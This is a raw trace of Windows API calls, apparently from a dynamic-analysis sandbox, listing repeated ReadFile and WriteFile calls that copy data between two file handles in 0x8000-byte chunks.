	[0252.516] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.516] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.518] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.518] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.519] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.520] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.521] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.523] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.524] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.525] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.527] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.528] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.529] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.529] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.531] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.531] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.532] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.533] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.657] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.657] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.659] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.659] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.661] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.661] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.663] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.665] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.668] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.668] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.670] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.670] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.672] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.672] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.673] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.674] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.675] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.676] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.677] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.677] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.679] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.679] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.680] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.814] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.833] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.833] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.834] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.835] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.836] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.836] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.837] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.838] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.048] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.048] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.049] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.049] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.050] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.050] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.051] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.052] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.054] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.054] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.055] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.055] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.056] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.057] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.057] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.058] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.059] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.060] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.061] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.061] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.063] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.063] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.064] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.067] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.069] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.070] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.071] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.071] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.072] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.073] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.074] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.074] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.075] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.076] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.076] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.077] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.078] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.078] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.079] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.081] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.210] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.211] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.212] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.212] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
